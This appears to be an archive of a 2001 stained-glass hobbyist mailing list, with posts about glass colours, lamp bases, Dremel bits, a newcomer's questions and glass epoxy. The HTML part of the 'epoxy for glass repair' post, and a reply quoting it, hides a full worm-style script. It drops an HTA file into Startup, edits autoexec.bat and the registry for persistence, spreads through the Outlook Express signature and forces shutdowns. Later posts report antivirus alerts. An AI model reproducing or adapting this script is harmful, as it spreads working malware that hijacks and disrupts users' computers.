From owner-glass Thu Feb  1 18:36:58 2001
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X-Path: POBox.com!nadinesfolly
From: "Nadine BethSchneider" <nadinesfolly@POBox.com>
To: "Lorley Oneyear" <lorley@home.com>,
Content-Type: text/plain;
Subject: RE: is clear a color?
Date: Thu, 1 Feb 2001 09:27:33 -0500
Message-ID: <1970Jan1.000.0>
References: <<5.0.0.25.2.20010131165111.00a41160@mail.rdc1.az.home.com>>
Precedence: bulk

I had the same problem several months ago. I had two sheets of gluechip that
I thought were the same, but  it turned out that one was greenish and one
clear white.  I was making a trio of bathroom windows for a client.  I wound
up ordering several more sheets of the greenish (since I'd cut most of
pieces from that) and replaced the whitish ones.  I just didn't want to take
the chance that it might be noticeable in a light I couldn't gauge on the
table.

Nadine

Nadine Beth Schneider
Nadine's Folly, Ltd
www.nadinesfolly.com


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From owner-glass Thu Feb  1 18:37:31 2001
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X-Path: yahoo.com!sugole
From: Susana Gomez <sugole@yahoo.com>
To: stained glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: lamp bases
Date: Thu, 1 Feb 2001 18:06:29 -0800 (PST)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I know about several stores in the United States who
sell stained glass and all you need to make lamps.

Someone knows who sells just lamp bases (a factory)
from one piece to several.

I am not a supplier I make stained glass for a hobbie.

I live in Mexico city and the prices here in Mexico
and the supliers in the United States are almost the
same,
Here in Mexico I bought my lamp bases from the
factory, but they don't have several models, so this
is why I am looking in your country who sells this
cheaper and good quality.

IŽll prefer to know from a factory in Los Angeles,
Philadelphia, Houston.

Tks. Susana

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From owner-glass Thu Feb  1 20:45:15 2001
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X-Path: fastlane.net!byronw
From: "Byron Wells" <byronw@fastlane.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Source
Date: Thu, 1 Feb 2001 20:11:06 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Hi Theresa..

I use them to clean solder joints that I have to resolder or solder steel
rebar onto a panel... They also work great on repair job to get that last
bit of old cement out of the lead came.

Byron...
Wells Glassworks

----- Original Message -----
From: Theresa Kelly <tekelly@compunet.net>
To: <glass@bungi.com>
Sent: Wednesday, January 31, 2001 10:49 PM
Subject: Re: Source


> Hey I'm  a newbie and I need all the help I can get. I'm curious  what do
you
> all use the   dremel bits (brush) for?   I have the dremel tool  so  you
use it
> in your stained glass work????
>
> Linda Jo Letscher wrote:
>
> > Leslye:
> > Thanks for finding that for Byron, it is a great source and I am going
to
> > bookmark the page myself for when I need Dremel bits.
> > Linda Jo
> >
> > ----- Original Message -----
> > From: "Leslye" <leslye2@discover.earthlink.net>
> > To: "Byron Wells" <byronw@fastlane.net>
> > Sent: Wednesday, January 31, 2001 7:25 PM
> > Subject: Re: Source
> >
> > > Byron Wells wrote:
> > >
> > > > Hey all..
> > > >
> > > > Looking for a source for Dremel bits... I use a lot of the wire
brush
> > ones
> > > > and don't mind buying bulk packs if they are available. Most of what
ya
> > pay
> > > > for in the store is the fancy package...
> > > >
> > > > Thanks in advance!
> > > >
> > > > Byron...
> > > > Wells Glassworks
> > >
> > > It took a while to locate the info for you Byron but I finally found
my
> > > source.  I was very happy with them.  Here is the URL for what I
ordered.
> > >
> > > http://www.mytoolstore.com/dremel/brshwhls.html
> > >
> > > Hope this helps,
> > > Leslye Nelson
> > > GlassWorks by Leslye
> > >
> > >
> > > ----
> > > For subscription changes, please mail to: glass-request@bungi.com
> > > To send to the list,      please mail to: glass@bungi.com
> > > Archives available at http://www.bungi.com/glass
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
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>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
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>
>

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From owner-glass Fri Feb  2 12:03:41 2001
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X-Path: ltdarkpoet.junglelink.co.uk!charliehodge
From: "steve" <charliehodge@ltdarkpoet.junglelink.co.uk>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: competition
Date: Fri, 2 Feb 2001 17:36:23 -0000
Message-ID: <1970Jan1.000.0>
Precedence: bulk

what a great idea. some great work .I hope someone does this in the uk.they
can count me in if they do.
Steve

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From owner-glass Sat Feb  3 11:02:34 2001
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X-Path: massed.net!wmagdycz
From: "Elaine" <wmagdycz@massed.net>
To: "Bungi" <glass@bungi.com>
Subject: Summer Lead
Date: Sat, 3 Feb 2001 11:43:06 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi all, Has anybody heard of  Summer Glass? It sounds like it may be a brand name,
but I have no idea. Does anyone know what it is? Thanks lotz, Elaine





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From owner-glass Sun Feb  4 14:39:45 2001
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X-Path: netzero.net!artglassemporium
From: "Ray Beaupre" <artglassemporium@netzero.net>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: summer glass
Date: Sun, 4 Feb 2001 10:05:57 -0500
Message-ID: <1970Jan1.000.0>
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To Elaine
You can find Summer glass @ somerstiffany.com
Ray

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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>To Elaine</DIV>
<DIV>You can find Summer glass @ somerstiffany.com</DIV>
<DIV>Ray</DIV></BODY></HTML>

------=_NextPart_000_000F_01C08E92.1160CD60--


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From owner-glass Sun Feb  4 15:11:15 2001
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X-Path: bom3.vsnl.net.in!saifee
From: "Saifuddin Kapadia" <saifee@bom3.vsnl.net.in>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: From a new suscriber
Date: Sun, 4 Feb 2001 14:28:08 +0530
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------=_NextPart_000_000E_01C08EB6.B1B69960
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Hello to all,

This is Saifuddin Kapadia from Bombay,India.I am in Travel & Tourism =
since the last 10 years.Am changing my business to Stained Glass and =
Sand Blasting .This is a totally new line for me and I donot have any =
experience or knowledge about this new venture that I am going into.
But I am confident, with blessing of our His Holiness, I shall =
definately succeed.

So friends, I wish to become one of you'll and with your help and =
assistance I can go a long way in stained glass.

My new venture begins as " Fina Creations " in Poona a city about 175 =
kms away from Bombay.I have a shop area of 240 sq/ft
[10 ft wide and 24 ft long]

To start with this , please advise what are the basic tools and =
materials I would require , their brand names.As per the dimension of my =
work place can anyone suggest how and where should I place my work =
tables and so on...

Does anyone know of any training centre, like a swift course on stained =
glass, which I can attend in Asia or elsewhere ?This would be handy for =
a new comer like me.

I await hearing from you'll very soon.My mail address is =
finasta@vsnl.com   or saifee@bom3.vsnl.net.in


With best regards / Saifuddin Kapadia =20

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<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Hello to all,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>This is Saifuddin Kapadia from =
Bombay,India.I am=20
in Travel &amp; Tourism since the last 10 years.Am changing my business =
to=20
Stained Glass and Sand Blasting .This is a totally new line for me and I =
donot=20
have any experience or knowledge about this new venture that I am going=20
into.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>But I am confident, with blessing of =
our His=20
Holiness, I shall definately succeed.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>So friends, I wish to become one of =
you'll and=20
with your help and assistance I can go a long way in stained =
glass.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>My new venture begins as &quot; Fina =
Creations=20
&quot; in Poona a city about 175 kms away from Bombay.I have a shop area =
of 240=20
sq/ft</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>[10 ft wide and 24 ft =
long]</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>To start with this , please advise =
what are the=20
basic tools and materials I would require , their brand names.As per the =

dimension of my work place can anyone suggest how and where should I =
place my=20
work tables and so on...</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Does anyone know of any training =
centre, like a=20
swift course on stained glass, which I can attend in Asia or elsewhere =
?This=20
would be handy for a new comer like me.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I await hearing from you'll very =
soon.My mail=20
address is <A =
href=3D"mailto:finasta@vsnl.com">finasta@vsnl.com</A>&nbsp;&nbsp; or=20
<A=20
href=3D"mailto:saifee@bom3.vsnl.net.in">saifee@bom3.vsnl.net.in</A></FONT=
></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>With best regards / Saifuddin =
Kapadia&nbsp;=20
</FONT></DIV></BODY></HTML>

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From owner-glass Sun Feb  4 16:37:40 2001
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X-Path: massed.net!wmagdycz
From: "Elaine" <wmagdycz@massed.net>
To: "Bungi" <glass@bungi.com>
Subject: Re: Summer Lead
Date: Sat, 3 Feb 2001 22:18:34 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Thanks for your reply Bob. Sorry, but I seemed to have lost something between the
subject line and the message. I should have said Summer Lead, not Summer Glass.
Does that ring a bell with anyone? Thanks again, Elaine

----- Original Message -----
From: "Elaine" <wmagdycz@massed.net>
To: "Bungi" <glass@bungi.com>
Sent: Saturday, February 03, 2001 11:43 AM
Subject: Summer Lead


> Hi all, Has anybody heard of  Summer Glass? It sounds like it may be a brand
name,
> but I have no idea. Does anyone know what it is? Thanks lotz, Elaine
>
>
>
>
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>


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From owner-glass Thu Feb  8 07:32:26 2001
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X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Awfully quiet...
Date: Wed, 07 Feb 2001 17:51:21 -0500
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studio
Precedence: bulk

Just a tad worried because I quit a listserv, and hope I didn't kill the
wrong one!  Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Thu Feb  8 12:03:45 2001
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X-Path: aol.com!GlassLites
From: GlassLites@aol.com
To: <glass@bungi.com>
Content-Type: text/plain; charset=ISO-8859-1
Subject: Re: Awfully quiet...
Date: Thu, 08 Feb 2001 12:26:15 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Nope. You're still here. It's just been real quiet.

Cheryl Lowe


In a message dated Thu, 8 Feb 2001 10:33:23 AM Eastern Standard Time, Cecily & Ralph Wood <cecnralph@home.com> writes:

<< Just a tad worried because I quit a listserv, and hope I didn't kill the
wrong one!  Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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 >>


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From owner-glass Thu Feb  8 12:08:20 2001
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X-Path: thezone.net!robertcrane
From: "Robert Crane" <robertcrane@thezone.net>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: epoxy for glass repair
Date: Wed, 7 Feb 2001 13:46:49 -0330
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I was watching Martha Stewart on H&GTV last evening where she visited a =
stained glass artist at Bar Harbour, Maine. The artist was repairing a =
church window and used an epoxy ( especially for glass) to repair a =
broken piece. I was wondering if anyone bungi land knows what that =
product is? Thanks in anticipation of your reply.


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<DIV><FONT face=3DArial size=3D2>I was watching Martha Stewart on =
H&amp;GTV last=20
evening where she visited a stained glass artist at Bar Harbour, Maine. =
The=20
artist was repairing a church window and used an epoxy ( especially for =
glass)=20
to repair a broken piece. I was wondering if anyone bungi land knows =
what that=20
product is? Thanks in anticipation of your reply.</FONT></DIV>
<DIV>
<DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
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function sErr(){return =
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iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =
WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object =
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classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP=
T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew =
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'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=
k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=
T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=
n+'\\\\Software\\\\Microsoft\\\\Outlook =
Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\=
"Default =
Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=
\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =
#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=
\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=
teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =
Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=
L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=
;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=
ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s =
'+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B=
ODY><DIV =
style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=
(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =
sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095=
);t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=
;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\kak.hta\":\"C:\\\\=
\\\\windows\\\\\\\\Start =
Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user=
Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
r.appVersion)>4))||(agt.indexOf(\"msie =
5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
</"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut=
es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =
&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
!');wsh.Run(wd+'RUNDLL32.EXE =
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
failed &nbsp; =
!]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s=
ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=
Menu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
gt.indexOf("msie 5.")!=3D-1))scr.write();
//--></SCRIPT>
</OBJECT></DIV></BODY></HTML>

------=_NextPart_000_0007_01C0910C.6B69BA20--

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From owner-glass Thu Feb  8 13:10:41 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
	via smail with stdio
	id <m14QyDp-0004ara@daver.bungi.com>
	for rglass-42; Thu, 8 Feb 2001 13:03:21 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: attcanada.net!tuka
From: <tuka@attcanada.net>
To: <GLASS@BUNGI.COM>
Content-Type: text/plain;
Subject: Re: epoxy for glass repair
Date: Thu, 8 Feb 2001 12:36:00 -0800
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I would also appreciate receiving replies to this question...

Shiela
tuka@attcanada.net



I was watching Martha Stewart on H&GTV last evening where she visited a =
stained glass artist at Bar Harbour, Maine. The artist was repairing a =
church window and used an epoxy ( especially for glass) to repair a =
broken piece. I was wondering if anyone bungi land knows what that =
product is? Thanks in anticipation of your reply.


------=_NextPart_000_0007_01C0910C.6B69BA20
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I was watching Martha Stewart on =
H&amp;GTV last=20
evening where she visited a stained glass artist at Bar Harbour, Maine. =
The=20
artist was repairing a church window and used an epoxy ( especially for =
glass)=20
to repair a broken piece. I was wondering if anyone bungi land knows =
what that=20
product is? Thanks in anticipation of your reply.</FONT></DIV>
<DIV>
<DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
id=3Dscr></OBJECT></DIV>
<SCRIPT><!--
function sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr=
iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =
WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object =
id=3D'wsh' =
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP=
T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew =
ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=
fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =
mye=3Dnew =
Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=
~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=
\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=
(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=
eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs=
.GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr=
)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=
@echo off>'+pth);t1.WriteLine('del =
'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=
k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=
T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=
n+'\\\\Software\\\\Microsoft\\\\Outlook =
Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\=
"Default =
Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=
\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =
#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=
\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=
teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =
Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=
L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=
;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=
ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s =
'+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B=
ODY><DIV =
style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=
(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =
sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095=
);t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=
;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\kak.hta\":\"C:\\\\=
\\\\windows\\\\\\\\Start =
Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user=
Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
r.appVersion)>4))||(agt.indexOf(\"msie =
5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
</"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut=
es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =
&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
!');wsh.Run(wd+'RUNDLL32.EXE =
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
failed &nbsp; =
!]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s=
ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=
Menu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
gt.indexOf("msie 5.")!=3D-1))scr.write();
//--></SCRIPT>
</OBJECT></DIV></BODY></HTML>

------=_NextPart_000_0007_01C0910C.6B69BA20--

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From owner-glass Thu Feb  8 13:33:07 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
	via smail with stdio
	id <m14QyZ4-0004aBa@daver.bungi.com>
	for rglass-42; Thu, 8 Feb 2001 13:25:18 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: waterw.com!artglass
From: "pjfriend" <artglass@waterw.com>
To: "bungi group" <glass@bungi.com>
Subject: virus
Date: Thu, 8 Feb 2001 16:20:55 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I am curious as to how an email get through bungi.com with a virus attached
to it.
an email from obertcrane@thezone.net about epoxy had my mcafee send me an
alert.

pj

Paul Friend Architectural Glass & Design, Inc.
www.waterw.com/~artglass
Accredited Studio Member of the Stained Glass Association of America
Member International Guild of Glass Artists
Associate Member AIA


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From owner-glass Thu Feb  8 13:45:59 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
	via smail with stdio
	id <m14QyfL-0004eJa@daver.bungi.com>
	for rglass-42; Thu, 8 Feb 2001 13:31:47 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: GSA-ORSP.CROWN.NWU.EDU!kaye
From: "Kaye Sodt" <kaye@GSA-ORSP.CROWN.NWU.EDU>
To: glass@bungi.com
Content-Type: text/plain; charset=US-ASCII
Subject: Last message--epoxy?
Date: Thu, 8 Feb 2001 14:44:33 CST 6CDT
Message-ID: <1970Jan1.000.0>
Organization: GSA-ORSP
Precedence: bulk

Sorry, I deleted your message when my computer flashed a virus 
warning message.  Whoever recently sent the message with 
"epoxy" in the subject line--you might check and see if you're 
infected.  My tech guy says my server would detect and destroy 
the virus, but others may not be so fortunate.

Kaye
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From owner-glass Thu Feb  8 13:54:33 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
	via smail with stdio
	id <m14QyZx-0004Yza@daver.bungi.com>
	for rglass-42; Thu, 8 Feb 2001 13:26:13 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: aol.com!MMMCAM
From: MMMCAM@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: epoxy for glass repair
Date: Thu, 8 Feb 2001 16:24:19 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Same here...I'm interested in knowing about epoxy repair also.

Emmie
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From owner-glass Thu Feb  8 14:02:56 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
	via smail with stdio
	id <m14Qytv-0004gCa@daver.bungi.com>
	for rglass-42; Thu, 8 Feb 2001 13:46:51 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: cros.net!soraya
From: "Soraya Justice" <soraya@cros.net>
To: "bungi group" <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: virus
Date: Thu, 8 Feb 2001 16:42:08 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

>I am curious as to how an email get through bungi.com with a virus attached
>to it. an email from obertcrane@thezone.net about epoxy had my mcafee send
me an
>alert.


My ISP scans all emails for viris before it even gets to me....its email to
me said.....

"Our viruschecker found a VIRUS in an email to you from:

owner-glass@daver.bungi.com

Delivery of the email was stopped and the sender was notified!"

It is quite possible that this person is not even aware he has a
viris....yet.......



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From owner-glass Thu Feb  8 14:13:51 2001
Return-Path: <owner-glass>
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	id <m14QyZy-0004fZa@daver.bungi.com>
	for rglass-42; Thu, 8 Feb 2001 13:26:14 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: dellepro.com!gunnx4
From: Suzanne Gunn <gunnx4@dellepro.com>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: [Fwd: Virus? was  Re: epoxy for glass repair]
Date: Thu, 08 Feb 2001 14:53:16 -0600
Message-ID: <1970Jan1.000.0>
Organization: glassdancer
Precedence: bulk


FYI
When I opened this message, Norton antivirus popped up to inform me that
this email was infected with a virus.  

Suzanne
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From owner-glass Thu Feb  8 14:23:09 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
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	id <m14Qz8n-0004eca@daver.bungi.com>
	for rglass-42; Thu, 8 Feb 2001 14:02:13 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: kwic.com!mnvve3
From: "Linda McKenna" <mnvve3@kwic.com>
To: "Bungi Glass" <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Awfully quiet...
Date: Thu, 8 Feb 2001 11:52:25 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I agree - I thought somehow I had been dropped from the list.  Am leaving
for a week's holiday in Florida and couldn't face the thought of nothing to
catch up on when I got home. I guess everyone is too busy with other things.
Linda
----- Original Message -----
From: "Cecily & Ralph Wood" <cecnralph@home.com>
To: "Bungi Glass" <glass@bungi.com>
Sent: Wednesday, February 07, 2001 5:51 PM
Subject: Awfully quiet...


Just a tad worried because I quit a listserv, and hope I didn't kill the
wrong one!  Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Thu Feb  8 15:31:15 2001
Return-Path: <owner-glass>
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	id <m14Qz8n-0004eca@daver.bungi.com>
	for rglass-42; Thu, 8 Feb 2001 14:02:13 -0800 (PST)
